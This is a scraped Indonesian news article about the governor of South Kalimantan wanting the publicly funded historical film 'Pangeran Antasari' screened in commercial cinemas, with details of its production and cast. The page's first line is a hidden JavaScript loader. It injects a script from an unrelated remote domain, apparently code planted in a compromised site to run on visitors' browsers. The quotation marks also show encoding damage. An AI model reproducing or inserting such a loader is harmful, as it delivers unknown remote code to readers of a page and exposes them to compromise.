(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Film sejarah tentang Pangeran Antasari yang digarap dengan anggaran APBD sebesar Rp 2,9 miliar telah merampungkan syuting. Kini, trilernya pun sudah bisa tonton melalui kanal video di youtube. Gubernur Kalsel Sahbirin Noor, ingin film tersebut menjadi kebanggan warga banua dan bisa ditayangkan di bioskop XXI. Tidak sekadar menjadi film penyuluhan di sekolah atau desa-desa.
Tekad Sahbirin ini, menanggapi rencana Dinas Pendidikan dan Kebudayaan (Disdikbud) Kalsel untuk menayangkan film garapan PT Cahaya Kristal Media Utama tersebut di di Desa Kiram, Kabupaten Banjar.
“Kenapa di Kiram, harusnya di XXI lah,†tukas Sahbirin, Minggu (24/12) malam.
Sahbirin mengaku terkejut ketika mendengar ada rencana Disdikbud ini. Dia mewanti-wanti agar Disdikbud menemui dirinya dulu untuk berkoordinasi soal pemutaran film semi kolosal itu.
“Nanti dulu, bilang ke mereka (Disdikbud) lapor ke saya dulu,†kata Sahbirin yang juga ikut berperan dalam film ini sebagai rakyat biasa.
Pemutaran perdana direncanakan digelar pada malam pergantian tahun. “Saya tunggu laporannya dulu. Paling tidak awal tahun nanti. Sekitar bulan Januari. Saya menunggu laporan dari Disdikbud dulu,†tutur Sahbirin.
Di sisi lain, Kepala Bidang Kebudayaan Disdikbud Kalsel Ahmad Subakti selaku Kuasa Pengguna Anggaran (KPA) mengungkapkan, hasil film belum di tangan mereka. Guna mempercepat penayangan, rencananya mereka akan mengambil langsung ke rumah produksi di Jakarta.
“Kami target 1-2 hari hasilnya sudah ada di kami. Nantinya ketika sudah ada langsung dilaporkan ke gubernur. Kalau perlu kami yang mengambil hasil film ini ke Jakarta, biar cepat,†tuturnya.
Terlaksananya film Pangeran Antasari bermula ketika pementasan teater kolosal Perang Banjar di Stadion Lambung Mangkurat tahun 2016 lalu. Ketika itu, gubernur menginginkan sejarah perjuangan rakyat Kalsel ini di angkat ke layar lebar. Sama sepertinya provinsi lain yang sudah mem-film kan kisah para pejuang di daerah asalnya.
Diharapkan dengan bermulanya film semi kolosal berlatar belakang Perang Banjar berjudul Pangeran Antasari ini menjadi titik awal munculnya, film pahlawan-pahlawan kalimantan lainnya.
Di tempat lain kampus STKIP PGRI Banjarasim tengah menggarap sebuah tarian kolosal bertema “Manjalung Ratu Zaleha†yang menganggakat kisah perjuangan ratu zaleha dalam bentuk garapan tarian kolosal. Meski ini sebagai salah satu bagian mata kuliah para mahasiswa tetap berusaha menampilkan kisah ratu zaleha dengan kisah sebenar-benarnya yang di rangkum secara apik.
Ini sebagai salah satu bukti perhatian anak banua terhadap kesenian dan penghormatan terhadap para pahlawan di Kalsel.
Pameran utama untuk tokoh Pangeran Antasari dimainkan artis nasional yang sering berperan menjadi tokoh jahat, yakni aktor kawakan Egy Fedly. Sedangkan aktris Helmalia Putri berperan sebagai Umanya Bulan, istri Pangeran Hidayatullah yang memihak perlawanan Pangeran Antasari menumpas kolonial Belanda. (devi)
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) H Muhidin merespon kebijakan pemerintah pusat terkait Opsen… Read More
Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More
KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More
KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
This website uses cookies.